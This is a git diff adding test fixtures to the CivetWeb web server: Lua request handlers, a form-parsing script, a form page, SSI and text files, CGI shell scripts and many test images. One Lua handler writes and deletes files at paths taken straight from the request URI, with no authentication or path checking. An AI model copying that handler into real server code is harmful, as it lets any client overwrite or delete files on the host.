"D:\\civetweb\\civetweb" .. sub_uri +attr = lfs.attributes(filename) + +--[[ +if not attr then + send_not_found() + mg.write("\r\n") + mg.write("File " .. sub_uri .. " not available") + return +end +]] + +if mg.request_info.request_method == "GET" then + -- send_file will handle 404 internally + mg.send_file(filename) + return + +elseif mg.request_info.request_method == "HEAD" then + -- send_file can handle "GET" and "HEAD" + mg.send_file(filename) + return + +elseif mg.request_info.request_method == "PUT" then + local f = io.open(filename, "w") + if (not f) then + mg.write("HTTP/1.0 500 Internal Server Error\r\n") + mg.write("Connection: close\r\n") + mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n") + mg.write("\r\n") + return + end + + mg.write("HTTP/1.0 201 Created\r\n") + mg.write("Connection: close\r\n") + mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n") + mg.write("\r\n") + repeat + local buf = mg.read(); + if (buf) then + f:write(buf) + end + until (not buf); + f:close() + + mg.write("HTTP/1.0 201 Created\r\n") + mg.write("Connection: close\r\n") + mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n") + mg.write("\r\n") + return + +elseif mg.request_info.request_method == "DELETE" then + if not attr then + send_not_found() + mg.write("\r\n") + mg.write("File " .. sub_uri .. " not available") + return + end + os.remove(filename) + mg.write("HTTP/1.0 204 No Content\r\n") + mg.write("Connection: close\r\n") + mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n") + mg.write("\r\n") + return + +elseif mg.request_info.request_method == "OPTIONS" then + send_ok() + mg.write("Allow: GET, HEAD, PUT, DELETE, OPTIONS\r\n") + mg.write("\r\n") + return + +else + mg.write("HTTP/1.0 405 Method Not Allowed\r\n") + mg.write("Connection: close\r\n") + mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n") + mg.write("\r\n") + return +end diff --git a/src/civetweb/test/form.html b/src/civetweb/test/form.html new file mode 100644 index 000000000..381084ce1 --- /dev/null +++ b/src/civetweb/test/form.html @@ -0,0 +1,118 @@ + + + + + + + Example page for HTML form handling + + + + + + + +
+ See HTML form tutorial + and HTML spec.
+ +
+ Text inputs: + A text:
+ A password:
+
+ +
+ Radio set 1: + val1
+ val2
+ val3
+
+ +
+ Radio set 2: + val1
+ val2
+ val3
+
+ +
+ Checkboxes: + val1
+ val2
+ val3
+
+ +
+ HTML5 inputs: + A number:
+ A date:
+ A color:
+ A range:
+ A month:
+ A week:
+ A time:
+ A datetime:
+ A datetime-local:
+ An email:
+ A search:
+ A tel:
+ An url:
+
+ +
+ Files: + A file:
+ Multiple files:
+
+ +
+ Dropdown: + +
+ +
+ Text area: + +
+ +
+ Submit: +
+ Submit to Lua script: + This will only work if server side Lua scripting is activated and /handle_form.lua can be found on the server. +
+ +
+ +
+ Submit to callback: + This will work in the embedded_c example. It will call mg_handle_form_data to parse the request. +
+ + + + + +
+
+ +
+ + + diff --git a/src/civetweb/test/handle_form.lua b/src/civetweb/test/handle_form.lua new file mode 100644 index 000000000..c3694ae2e --- /dev/null +++ b/src/civetweb/test/handle_form.lua @@ -0,0 +1,123 @@ +-- Some basic checks +if mg.request_info.request_method ~= "POST" or mg.request_info.content_type:lower():sub(1,19) ~= 'multipart/form-data' then + mg.write("HTTP/1.0 400 OK\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/plain; charset=utf-8\r\n") + mg.write("Cache-Control: max-age=0, must-revalidate\r\n") + mg.write("\r\n") + mg.write("Bad request\r\n\r\n") + return +end + +-- HTTP headers +mg.write("HTTP/1.0 200 OK\r\n") +mg.write("Connection: close\r\n") +mg.write("Content-Type: text/plain; charset=utf-8\r\n") +mg.write("Cache-Control: max-age=0, must-revalidate\r\n") +mg.write("\r\n") + +-- Which form sent the data? +mg.write("Read POST data from " .. mg.request_info.http_headers.Referer .. ":\r\n\r\n") + +-- Count some data fields +local fields = 0 +local datasize = 0 + +-- Read the entire body data (POST content) into "bdata" variable. +-- Use a string builder pattern for performance reasons +stringtab = {} +bdata = "" +repeat + local add_data = mg.read() + if add_data then + stringtab[#stringtab+1] = add_data + end +until (add_data == nil); +bdata = table.concat(stringtab) +stringtab = nil + +-- Get the boundary string. +bs = "--" .. ((mg.request_info.content_type):upper():match("BOUNDARY=(.*)")); + +-- The POST data has to start with the boundary string. +-- Check this and remove the starting boundary. +if bdata:sub(1, #bs) ~= bs then + error "invalid format of POST data" +end +bdata = bdata:sub(#bs) + +-- The boundary now starts with CR LF. +bs = "\r\n" .. bs + +-- Now loop through all the parts +while #bdata>4 do + -- Find the header of new part. + part_header_end = bdata:find("\r\n\r\n", 1, true) + + -- Parse the header. + local form_field_name, file_name + h = bdata:sub(1, part_header_end+2) + for key,val in h:gmatch("([^%:\r\n]*)%s*%:%s*([^\r\n]*)\r\n") do + if key:upper() == "CONTENT-DISPOSITION" then + form_field_name = val:match('name=%"([^%"]*)%"') + file_name = val:match('filename=%"([^%"]*)%"') + end + end + + -- Remove the header from "bdata". + bdata = bdata:sub(part_header_end+4) + + -- Find the end of the body by locating the boundary string. + local part_body_end = bdata:find(bs, 1, true) + + -- Isolate the content, and drop it from "bdata". + local form_field_value = bdata:sub(1,part_body_end-1) + bdata = bdata:sub(part_body_end+#bs) + + -- Now the data (file content or field value) is isolated: We know form_field_name and form_field_value. + -- Here the script should do something useful with the data. This example just sends it back to the client. + if form_field_name then + mg.write("Field name: " .. form_field_name .. "\r\n") + end + + local len = #form_field_value + mg.write("Field data length: " .. len .. "\r\n") + + if file_name then + mg.write("File name: " .. file_name .. "\r\n") + mg.write("File content:\r\n") + local maxlen + if len>320 then maxlen=320 else maxlen=len end + + for l=0,maxlen,16 do + for m=1,16 do + local b = form_field_value:byte(l+m) + if (b) then + mg.write(string.format("%02x ", b)) + else + mg.write(" ") + end + end + mg.write(" - " .. form_field_value:sub(l+1,l+16):gsub("[%c%z%s]", " ") .. "\r\n") + end + if maxlen +hello.shtml: include "hello.txt": + +hello.shtml: end + diff --git a/src/civetweb/test/hello.txt b/src/civetweb/test/hello.txt new file mode 100644 index 000000000..7feddbfe4 --- /dev/null +++ b/src/civetweb/test/hello.txt @@ -0,0 +1 @@ +simple text file diff --git a/src/civetweb/test/hello_gz.txt.gz b/src/civetweb/test/hello_gz.txt.gz new file mode 100644 index 000000000..732542999 Binary files /dev/null and b/src/civetweb/test/hello_gz.txt.gz differ diff --git a/src/civetweb/test/hello_gz_unzipped.txt b/src/civetweb/test/hello_gz_unzipped.txt new file mode 100644 index 000000000..bde6e8a16 --- /dev/null +++ b/src/civetweb/test/hello_gz_unzipped.txt @@ -0,0 +1 @@ +hello from a zipped text file diff --git a/src/civetweb/test/html_esc.lua b/src/civetweb/test/html_esc.lua new file mode 100644 index 000000000..addfe763b --- /dev/null +++ b/src/civetweb/test/html_esc.lua @@ -0,0 +1,60 @@ +htmlEscape = { "☺", "☻", "♥", "♦", "♣", "♠", "•", -- ASCII 1-7 (symbols for control characters, see code page 437) + "◘", "○", "◙", "♂", "♀", "♪", "♫", "☼", -- ASCII 8-15 + "►", "◄", "↕", "‼", "¶", "§", "▬", "↨", -- ASCII 16-23 + "↑", "↓", "↨", "←", "∟", "→", "▲", "▼", -- ASCII 24-31 + " ", "!", """, "#", "$", "%", "&", "'", -- ASCII 32-39 + "(", ")", "*", "+", ",", "-", ".", "/", -- ASCII 40-47 + "0", "1", "2", "3", "4", "5", "6", "7", -- ASCII 48-55 + "8", "9", ":", ";", "<", "=", ">", "?", -- ASCII 56-63 + "@", "A", "B", "C", "D", "E", "F", "G", -- ASCII 64-71 + "H", "I", "J", "K", "L", "M", "N", "O", -- ASCII 72-79 + "P", "Q", "R", "S", "T", "U", "V", "W", -- ASCII 80-87 + "X", "Y", "Z", "[", "\\", "]", "^", "_", -- ASCII 88-95 + "`", "a", "b", "c", "d", "e", "f", "g", -- ASCII 96-103 + "h", "i", "j", "k", "l", "m", "n", "o", -- ASCII 104-111 + "p", "q", "r", "s", "t", "u", "v", "w", -- ASCII 112-119 + "x", "y", "z", "{", "|", "}", "~", "⌂", -- ASCII 120-127 + "Ç", "ü", "é", "â", "ä", "à", "å", "ç", -- 128-135 (dos code page 850) + "ê", "ë", "è", "ï", "î", "ì", "Ä", "Å", -- 136-143 + "É", "æ", "Æ", "ô", "ö", "ò", "û", "ù", -- 144-151 + "ÿ", "Ö", "Ü", "ø", "£", "Ø", "×", "ƒ", -- 152-159 + "á", "í", "ó", "ú", "ñ", "Ñ", "ª", "º", -- 160-167 + "¿", "®", "¬", "½", "¼", "¡", "«", "»", -- 168-175 + "░", "▒", "▓", "│", "┤", "Á", "Â", "À", -- 176-183 + "©", "╣", "║", "╗", "╝", "¢", "¥", "┐", -- 184-191 + "└", "┴", "┬", "├", "─", "┼", "ã", "Ã", -- 192-199 + "╚", "╔", "╩", "╦", "╠", "═", "╬", "¤", -- 200-207 + "ð", "Ð", "Ê", "Ë", "È", "ı", "Í", "Î", -- 208-215 + "Ï", "┘", "┌", "█", "▄", "¦", "Ì", "▀", -- 216-223 + "Ó", "ß", "Ô", "Ò", "õ", "Õ", "µ", "þ", -- 224-231 + "Þ", "Ú", "Û", "Ù", "ý", "Ý", "¯", "´", -- 232-239 + "≡", "±", "‗", "¾", "¶", "§", "÷", "¸", -- 240-247 + "°", "¨", "·", "¹", "³", "²", "■", "□", -- 248-255 (use empty box for 255) +}; +htmlEscape[0] = "·" -- in this table, we use a 8 bit character set, where every has a different graphical representation + +-- the conversion table should work as a convertion function for strings as well +setmetatable(htmlEscape, {__call = function (tab,str) return string.gsub(str, ".", function (c) return tab[c:byte()] end) end}) + + +function htmlEsc(txt) + s = txt:gsub("%&", "&") + s = s:gsub("%<", "<") + return s:gsub("%>", ">") +end + + +function iso8859_1_to_utf8(txt) + local s = txt:gsub(".", + function (c) + local b = c:byte() + if b < 128 then + return c + elseif b < 192 then + return string.char(194, b) + else + return string.char(195, b-64) + end + end) + return s +end diff --git a/src/civetweb/test/imagetest/00.png b/src/civetweb/test/imagetest/00.png new file mode 100644 index 000000000..36160d93b Binary files /dev/null and b/src/civetweb/test/imagetest/00.png differ diff --git a/src/civetweb/test/imagetest/01.png b/src/civetweb/test/imagetest/01.png new file mode 100644 index 000000000..725bf6814 Binary files /dev/null and b/src/civetweb/test/imagetest/01.png differ diff --git a/src/civetweb/test/imagetest/02.png b/src/civetweb/test/imagetest/02.png new file mode 100644 index 000000000..5b5edf3ed Binary files /dev/null and b/src/civetweb/test/imagetest/02.png differ diff --git a/src/civetweb/test/imagetest/03.png b/src/civetweb/test/imagetest/03.png new file mode 100644 index 000000000..8b7d77260 Binary files /dev/null and b/src/civetweb/test/imagetest/03.png differ diff --git a/src/civetweb/test/imagetest/04.png b/src/civetweb/test/imagetest/04.png new file mode 100644 index 000000000..dc6487173 Binary files /dev/null and b/src/civetweb/test/imagetest/04.png differ diff --git a/src/civetweb/test/imagetest/05.png b/src/civetweb/test/imagetest/05.png new file mode 100644 index 000000000..5cea5219b Binary files /dev/null and b/src/civetweb/test/imagetest/05.png differ diff --git a/src/civetweb/test/imagetest/06.png b/src/civetweb/test/imagetest/06.png new file mode 100644 index 000000000..cb101228f Binary files /dev/null and b/src/civetweb/test/imagetest/06.png differ diff --git a/src/civetweb/test/imagetest/07.png b/src/civetweb/test/imagetest/07.png new file mode 100644 index 000000000..70134c58e Binary files /dev/null and b/src/civetweb/test/imagetest/07.png differ diff --git a/src/civetweb/test/imagetest/08.png b/src/civetweb/test/imagetest/08.png new file mode 100644 index 000000000..ee7c3d8e3 Binary files /dev/null and b/src/civetweb/test/imagetest/08.png differ diff --git a/src/civetweb/test/imagetest/09.png b/src/civetweb/test/imagetest/09.png new file mode 100644 index 000000000..63734722c Binary files /dev/null and b/src/civetweb/test/imagetest/09.png differ diff --git a/src/civetweb/test/imagetest/10.png b/src/civetweb/test/imagetest/10.png new file mode 100644 index 000000000..3823e3a61 Binary files /dev/null and b/src/civetweb/test/imagetest/10.png differ diff --git a/src/civetweb/test/imagetest/11.png b/src/civetweb/test/imagetest/11.png new file mode 100644 index 000000000..fa3f41165 Binary files /dev/null and b/src/civetweb/test/imagetest/11.png differ diff --git a/src/civetweb/test/imagetest/12.png b/src/civetweb/test/imagetest/12.png new file mode 100644 index 000000000..eec6ee1a0 Binary files /dev/null and b/src/civetweb/test/imagetest/12.png differ diff --git a/src/civetweb/test/imagetest/13.png b/src/civetweb/test/imagetest/13.png new file mode 100644 index 000000000..2dcebc5d7 Binary files /dev/null and b/src/civetweb/test/imagetest/13.png differ diff --git a/src/civetweb/test/imagetest/14.png b/src/civetweb/test/imagetest/14.png new file mode 100644 index 000000000..2a08667d9 Binary files /dev/null and b/src/civetweb/test/imagetest/14.png differ diff --git a/src/civetweb/test/imagetest/15.png b/src/civetweb/test/imagetest/15.png new file mode 100644 index 000000000..6d57b59cf Binary files /dev/null and b/src/civetweb/test/imagetest/15.png differ diff --git a/src/civetweb/test/imagetest/16.png b/src/civetweb/test/imagetest/16.png new file mode 100644 index 000000000..e4611a386 Binary files /dev/null and b/src/civetweb/test/imagetest/16.png differ diff --git a/src/civetweb/test/imagetest/17.png b/src/civetweb/test/imagetest/17.png new file mode 100644 index 000000000..1975b730b Binary files /dev/null and b/src/civetweb/test/imagetest/17.png differ diff --git a/src/civetweb/test/imagetest/18.png b/src/civetweb/test/imagetest/18.png new file mode 100644 index 000000000..7090c1232 Binary files /dev/null and b/src/civetweb/test/imagetest/18.png differ diff --git a/src/civetweb/test/imagetest/19.png b/src/civetweb/test/imagetest/19.png new file mode 100644 index 000000000..236f3c38f Binary files /dev/null and b/src/civetweb/test/imagetest/19.png differ diff --git a/src/civetweb/test/imagetest/20.png b/src/civetweb/test/imagetest/20.png new file mode 100644 index 000000000..1c7e5a31b Binary files /dev/null and b/src/civetweb/test/imagetest/20.png differ diff --git a/src/civetweb/test/imagetest/21.png b/src/civetweb/test/imagetest/21.png new file mode 100644 index 000000000..e8d934463 Binary files /dev/null and b/src/civetweb/test/imagetest/21.png differ diff --git a/src/civetweb/test/imagetest/22.png b/src/civetweb/test/imagetest/22.png new file mode 100644 index 000000000..fd8d4aa0f Binary files /dev/null and b/src/civetweb/test/imagetest/22.png differ diff --git a/src/civetweb/test/imagetest/23.png b/src/civetweb/test/imagetest/23.png new file mode 100644 index 000000000..3772ec5bb Binary files /dev/null and b/src/civetweb/test/imagetest/23.png differ diff --git a/src/civetweb/test/imagetest/24.png b/src/civetweb/test/imagetest/24.png new file mode 100644 index 000000000..2b458f93a Binary files /dev/null and b/src/civetweb/test/imagetest/24.png differ diff --git a/src/civetweb/test/imagetest/25.png b/src/civetweb/test/imagetest/25.png new file mode 100644 index 000000000..53d475758 Binary files /dev/null and b/src/civetweb/test/imagetest/25.png differ diff --git a/src/civetweb/test/imagetest/26.png b/src/civetweb/test/imagetest/26.png new file mode 100644 index 000000000..d4a101c2e Binary files /dev/null and b/src/civetweb/test/imagetest/26.png differ diff --git a/src/civetweb/test/imagetest/27.png b/src/civetweb/test/imagetest/27.png new file mode 100644 index 000000000..a40fc5169 Binary files /dev/null and b/src/civetweb/test/imagetest/27.png differ diff --git a/src/civetweb/test/imagetest/28.png b/src/civetweb/test/imagetest/28.png new file mode 100644 index 000000000..12d72a6cb Binary files /dev/null and b/src/civetweb/test/imagetest/28.png differ diff --git a/src/civetweb/test/imagetest/29.png b/src/civetweb/test/imagetest/29.png new file mode 100644 index 000000000..0638d4501 Binary files /dev/null and b/src/civetweb/test/imagetest/29.png differ diff --git a/src/civetweb/test/imagetest/30.png b/src/civetweb/test/imagetest/30.png new file mode 100644 index 000000000..2446c609d Binary files /dev/null and b/src/civetweb/test/imagetest/30.png differ diff --git a/src/civetweb/test/imagetest/31.png b/src/civetweb/test/imagetest/31.png new file mode 100644 index 000000000..bbcbf51cb Binary files /dev/null and b/src/civetweb/test/imagetest/31.png differ diff --git a/src/civetweb/test/imagetest/32.png b/src/civetweb/test/imagetest/32.png new file mode 100644 index 000000000..b40f395d5 Binary files /dev/null and b/src/civetweb/test/imagetest/32.png differ diff --git a/src/civetweb/test/imagetest/33.png b/src/civetweb/test/imagetest/33.png new file mode 100644 index 000000000..7293ea533 Binary files /dev/null and b/src/civetweb/test/imagetest/33.png differ diff --git a/src/civetweb/test/imagetest/34.png b/src/civetweb/test/imagetest/34.png new file mode 100644 index 000000000..fb3de9c07 Binary files /dev/null and b/src/civetweb/test/imagetest/34.png differ diff --git a/src/civetweb/test/imagetest/35.png b/src/civetweb/test/imagetest/35.png new file mode 100644 index 000000000..4635bb0ca Binary files /dev/null and b/src/civetweb/test/imagetest/35.png differ diff --git a/src/civetweb/test/imagetest/36.png b/src/civetweb/test/imagetest/36.png new file mode 100644 index 000000000..1a300ef44 Binary files /dev/null and b/src/civetweb/test/imagetest/36.png differ diff --git a/src/civetweb/test/imagetest/37.png b/src/civetweb/test/imagetest/37.png new file mode 100644 index 000000000..6f44faf06 Binary files /dev/null and b/src/civetweb/test/imagetest/37.png differ diff --git a/src/civetweb/test/imagetest/38.png b/src/civetweb/test/imagetest/38.png new file mode 100644 index 000000000..1f0b81003 Binary files /dev/null and b/src/civetweb/test/imagetest/38.png differ diff --git a/src/civetweb/test/imagetest/39.png b/src/civetweb/test/imagetest/39.png new file mode 100644 index 000000000..02cee96bf Binary files /dev/null and b/src/civetweb/test/imagetest/39.png differ diff --git a/src/civetweb/test/imagetest/40.png b/src/civetweb/test/imagetest/40.png new file mode 100644 index 000000000..5dd1fd46d Binary files /dev/null and b/src/civetweb/test/imagetest/40.png differ diff --git a/src/civetweb/test/imagetest/41.png b/src/civetweb/test/imagetest/41.png new file mode 100644 index 000000000..734b9d3ba Binary files /dev/null and b/src/civetweb/test/imagetest/41.png differ diff --git a/src/civetweb/test/imagetest/42.png b/src/civetweb/test/imagetest/42.png new file mode 100644 index 000000000..c19bc8f49 Binary files /dev/null and b/src/civetweb/test/imagetest/42.png differ diff --git a/src/civetweb/test/imagetest/43.png b/src/civetweb/test/imagetest/43.png new file mode 100644 index 000000000..0d58081a6 Binary files /dev/null and b/src/civetweb/test/imagetest/43.png differ diff --git a/src/civetweb/test/imagetest/44.png b/src/civetweb/test/imagetest/44.png new file mode 100644 index 000000000..5745c680b Binary files /dev/null and b/src/civetweb/test/imagetest/44.png differ diff --git a/src/civetweb/test/imagetest/45.png b/src/civetweb/test/imagetest/45.png new file mode 100644 index 000000000..e8411b750 Binary files /dev/null and b/src/civetweb/test/imagetest/45.png differ diff --git a/src/civetweb/test/imagetest/46.png b/src/civetweb/test/imagetest/46.png new file mode 100644 index 000000000..532d17563 Binary files /dev/null and b/src/civetweb/test/imagetest/46.png differ diff --git a/src/civetweb/test/imagetest/47.png b/src/civetweb/test/imagetest/47.png new file mode 100644 index 000000000..ca30f6f2f Binary files /dev/null and b/src/civetweb/test/imagetest/47.png differ diff --git a/src/civetweb/test/imagetest/48.png b/src/civetweb/test/imagetest/48.png new file mode 100644 index 000000000..0c20c8284 Binary files /dev/null and b/src/civetweb/test/imagetest/48.png differ diff --git a/src/civetweb/test/imagetest/49.png b/src/civetweb/test/imagetest/49.png new file mode 100644 index 000000000..a4e6799dd Binary files /dev/null and b/src/civetweb/test/imagetest/49.png differ diff --git a/src/civetweb/test/imagetest/50.png b/src/civetweb/test/imagetest/50.png new file mode 100644 index 000000000..e78c9f1f3 Binary files /dev/null and b/src/civetweb/test/imagetest/50.png differ diff --git a/src/civetweb/test/imagetest/51.png b/src/civetweb/test/imagetest/51.png new file mode 100644 index 000000000..dd0aeb7bc Binary files /dev/null and b/src/civetweb/test/imagetest/51.png differ diff --git a/src/civetweb/test/imagetest/52.png b/src/civetweb/test/imagetest/52.png new file mode 100644 index 000000000..7672eef70 Binary files /dev/null and b/src/civetweb/test/imagetest/52.png differ diff --git a/src/civetweb/test/imagetest/53.png b/src/civetweb/test/imagetest/53.png new file mode 100644 index 000000000..55371794f Binary files /dev/null and b/src/civetweb/test/imagetest/53.png differ diff --git a/src/civetweb/test/imagetest/54.png b/src/civetweb/test/imagetest/54.png new file mode 100644 index 000000000..d8fb26425 Binary files /dev/null and b/src/civetweb/test/imagetest/54.png differ diff --git a/src/civetweb/test/imagetest/55.png b/src/civetweb/test/imagetest/55.png new file mode 100644 index 000000000..cfa47a847 Binary files /dev/null and b/src/civetweb/test/imagetest/55.png differ diff --git a/src/civetweb/test/imagetest/56.png b/src/civetweb/test/imagetest/56.png new file mode 100644 index 000000000..51d7bc79d Binary files /dev/null and b/src/civetweb/test/imagetest/56.png differ diff --git a/src/civetweb/test/imagetest/57.png b/src/civetweb/test/imagetest/57.png new file mode 100644 index 000000000..645b8ec7e Binary files /dev/null and b/src/civetweb/test/imagetest/57.png differ diff --git a/src/civetweb/test/imagetest/58.png b/src/civetweb/test/imagetest/58.png new file mode 100644 index 000000000..eb861f549 Binary files /dev/null and b/src/civetweb/test/imagetest/58.png differ diff --git a/src/civetweb/test/imagetest/59.png b/src/civetweb/test/imagetest/59.png new file mode 100644 index 000000000..d9041b512 Binary files /dev/null and b/src/civetweb/test/imagetest/59.png differ diff --git a/src/civetweb/test/imagetest/60.png b/src/civetweb/test/imagetest/60.png new file mode 100644 index 000000000..80718196c Binary files /dev/null and b/src/civetweb/test/imagetest/60.png differ diff --git a/src/civetweb/test/imagetest/61.png b/src/civetweb/test/imagetest/61.png new file mode 100644 index 000000000..e539e1bb8 Binary files /dev/null and b/src/civetweb/test/imagetest/61.png differ diff --git a/src/civetweb/test/imagetest/62.png b/src/civetweb/test/imagetest/62.png new file mode 100644 index 000000000..7d20d26ff Binary files /dev/null and b/src/civetweb/test/imagetest/62.png differ diff --git a/src/civetweb/test/imagetest/63.png b/src/civetweb/test/imagetest/63.png new file mode 100644 index 000000000..66c7391fd Binary files /dev/null and b/src/civetweb/test/imagetest/63.png differ diff --git a/src/civetweb/test/imagetest/64.png b/src/civetweb/test/imagetest/64.png new file mode 100644 index 000000000..34c4dff76 Binary files /dev/null and b/src/civetweb/test/imagetest/64.png differ diff --git a/src/civetweb/test/imagetest/65.png b/src/civetweb/test/imagetest/65.png new file mode 100644 index 000000000..9dbbb66d3 Binary files /dev/null and b/src/civetweb/test/imagetest/65.png differ diff --git a/src/civetweb/test/imagetest/66.png b/src/civetweb/test/imagetest/66.png new file mode 100644 index 000000000..2ced8c33c Binary files /dev/null and b/src/civetweb/test/imagetest/66.png differ diff --git a/src/civetweb/test/imagetest/67.png b/src/civetweb/test/imagetest/67.png new file mode 100644 index 000000000..225a716a8 Binary files /dev/null and b/src/civetweb/test/imagetest/67.png differ diff --git a/src/civetweb/test/imagetest/68.png b/src/civetweb/test/imagetest/68.png new file mode 100644 index 000000000..2a10e8315 Binary files /dev/null and b/src/civetweb/test/imagetest/68.png differ diff --git a/src/civetweb/test/imagetest/69.png b/src/civetweb/test/imagetest/69.png new file mode 100644 index 000000000..37288a078 Binary files /dev/null and b/src/civetweb/test/imagetest/69.png differ diff --git a/src/civetweb/test/imagetest/70.png b/src/civetweb/test/imagetest/70.png new file mode 100644 index 000000000..e39da976c Binary files /dev/null and b/src/civetweb/test/imagetest/70.png differ diff --git a/src/civetweb/test/imagetest/71.png b/src/civetweb/test/imagetest/71.png new file mode 100644 index 000000000..4ea682c7b Binary files /dev/null and b/src/civetweb/test/imagetest/71.png differ diff --git a/src/civetweb/test/imagetest/72.png b/src/civetweb/test/imagetest/72.png new file mode 100644 index 000000000..ff60546ed Binary files /dev/null and b/src/civetweb/test/imagetest/72.png differ diff --git a/src/civetweb/test/imagetest/73.png b/src/civetweb/test/imagetest/73.png new file mode 100644 index 000000000..c97a35656 Binary files /dev/null and b/src/civetweb/test/imagetest/73.png differ diff --git a/src/civetweb/test/imagetest/74.png b/src/civetweb/test/imagetest/74.png new file mode 100644 index 000000000..97867899e Binary files /dev/null and b/src/civetweb/test/imagetest/74.png differ diff --git a/src/civetweb/test/imagetest/75.png b/src/civetweb/test/imagetest/75.png new file mode 100644 index 000000000..c66094ecd Binary files /dev/null and b/src/civetweb/test/imagetest/75.png differ diff --git a/src/civetweb/test/imagetest/76.png b/src/civetweb/test/imagetest/76.png new file mode 100644 index 000000000..2cf1fc971 Binary files /dev/null and b/src/civetweb/test/imagetest/76.png differ diff --git a/src/civetweb/test/imagetest/77.png b/src/civetweb/test/imagetest/77.png new file mode 100644 index 000000000..80dd70451 Binary files /dev/null and b/src/civetweb/test/imagetest/77.png differ diff --git a/src/civetweb/test/imagetest/78.png b/src/civetweb/test/imagetest/78.png new file mode 100644 index 000000000..110277dd5 Binary files /dev/null and b/src/civetweb/test/imagetest/78.png differ diff --git a/src/civetweb/test/imagetest/79.png b/src/civetweb/test/imagetest/79.png new file mode 100644 index 000000000..145d58004 Binary files /dev/null and b/src/civetweb/test/imagetest/79.png differ diff --git a/src/civetweb/test/imagetest/80.png b/src/civetweb/test/imagetest/80.png new file mode 100644 index 000000000..414c12a38 Binary files /dev/null and b/src/civetweb/test/imagetest/80.png differ diff --git a/src/civetweb/test/imagetest/81.png b/src/civetweb/test/imagetest/81.png new file mode 100644 index 000000000..acdc06fe9 Binary files /dev/null and b/src/civetweb/test/imagetest/81.png differ diff --git a/src/civetweb/test/imagetest/82.png b/src/civetweb/test/imagetest/82.png new file mode 100644 index 000000000..0fa4b88e3 Binary files /dev/null and b/src/civetweb/test/imagetest/82.png differ diff --git a/src/civetweb/test/imagetest/83.png b/src/civetweb/test/imagetest/83.png new file mode 100644 index 000000000..26bcb198b Binary files /dev/null and b/src/civetweb/test/imagetest/83.png differ diff --git a/src/civetweb/test/imagetest/84.png b/src/civetweb/test/imagetest/84.png new file mode 100644 index 000000000..9b883daaf Binary files /dev/null and b/src/civetweb/test/imagetest/84.png differ diff --git a/src/civetweb/test/imagetest/85.png b/src/civetweb/test/imagetest/85.png new file mode 100644 index 000000000..481069e95 Binary files /dev/null and b/src/civetweb/test/imagetest/85.png differ diff --git a/src/civetweb/test/imagetest/86.png b/src/civetweb/test/imagetest/86.png new file mode 100644 index 000000000..b1c4c44dd Binary files /dev/null and b/src/civetweb/test/imagetest/86.png differ diff --git a/src/civetweb/test/imagetest/87.png b/src/civetweb/test/imagetest/87.png new file mode 100644 index 000000000..266b2eb5c Binary files /dev/null and b/src/civetweb/test/imagetest/87.png differ diff --git a/src/civetweb/test/imagetest/88.png b/src/civetweb/test/imagetest/88.png new file mode 100644 index 000000000..cbcdd26b3 Binary files /dev/null and b/src/civetweb/test/imagetest/88.png differ diff --git a/src/civetweb/test/imagetest/89.png b/src/civetweb/test/imagetest/89.png new file mode 100644 index 000000000..90dc1965f Binary files /dev/null and b/src/civetweb/test/imagetest/89.png differ diff --git a/src/civetweb/test/imagetest/90.png b/src/civetweb/test/imagetest/90.png new file mode 100644 index 000000000..f7c7994ce Binary files /dev/null and b/src/civetweb/test/imagetest/90.png differ diff --git a/src/civetweb/test/imagetest/91.png b/src/civetweb/test/imagetest/91.png new file mode 100644 index 000000000..756c548b3 Binary files /dev/null and b/src/civetweb/test/imagetest/91.png differ diff --git a/src/civetweb/test/imagetest/92.png b/src/civetweb/test/imagetest/92.png new file mode 100644 index 000000000..4c5abd778 Binary files /dev/null and b/src/civetweb/test/imagetest/92.png differ diff --git a/src/civetweb/test/imagetest/93.png b/src/civetweb/test/imagetest/93.png new file mode 100644 index 000000000..f6e066015 Binary files /dev/null and b/src/civetweb/test/imagetest/93.png differ diff --git a/src/civetweb/test/imagetest/94.png b/src/civetweb/test/imagetest/94.png new file mode 100644 index 000000000..c5b1ca177 Binary files /dev/null and b/src/civetweb/test/imagetest/94.png differ diff --git a/src/civetweb/test/imagetest/95.png b/src/civetweb/test/imagetest/95.png new file mode 100644 index 000000000..1a7c3dd45 Binary files /dev/null and b/src/civetweb/test/imagetest/95.png differ diff --git a/src/civetweb/test/imagetest/96.png b/src/civetweb/test/imagetest/96.png new file mode 100644 index 000000000..36b01c327 Binary files /dev/null and b/src/civetweb/test/imagetest/96.png differ diff --git a/src/civetweb/test/imagetest/97.png b/src/civetweb/test/imagetest/97.png new file mode 100644 index 000000000..75ca62ce4 Binary files /dev/null and b/src/civetweb/test/imagetest/97.png differ diff --git a/src/civetweb/test/imagetest/98.png b/src/civetweb/test/imagetest/98.png new file mode 100644 index 000000000..22094b8b9 Binary files /dev/null and b/src/civetweb/test/imagetest/98.png differ diff --git a/src/civetweb/test/imagetest/99.png b/src/civetweb/test/imagetest/99.png new file mode 100644 index 000000000..9a97ff59c Binary files /dev/null and b/src/civetweb/test/imagetest/99.png differ diff --git a/src/civetweb/test/linux.cgi b/src/civetweb/test/linux.cgi new file mode 100755 index 000000000..f65fc7a04 --- /dev/null +++ b/src/civetweb/test/linux.cgi @@ -0,0 +1,9 @@ +#!/bin/sh + +printf "Content-Type: text/plain\r\n" +printf "\r\n" + +echo "This is a shell script called by CGI:" +echo +set + diff --git a/src/civetweb/test/linux_fail.cgi b/src/civetweb/test/linux_fail.cgi new file mode 100644 index 000000000..885dff2b4 --- /dev/null +++ b/src/civetweb/test/linux_fail.cgi @@ -0,0 +1,4 @@ +#!/bin/sh + +>&2 echo "Some error sent to stderr" + diff --git a/src/civetweb/test/linux_fail_silent.cgi b/src/civetweb/test/linux_fail_silent.cgi new file mode 100644 index 000000000..0cc08c74c --- /dev/null +++ b/src/civetweb/test/linux_fail_silent.cgi @@ -0,0 +1,5 @@ +#!/bin/sh + +echo not a complete header +echo and nothing sent to stderr + diff --git a/src/civetweb/test/lua_preload_file.lua b/src/civetweb/test/lua_preload_file.lua new file mode 100644 index 000000000..7761f4734 --- /dev/null +++ b/src/civetweb/test/lua_preload_file.lua @@ -0,0 +1,7 @@ +--[[ +Load this test file by adding + lua_preload_file 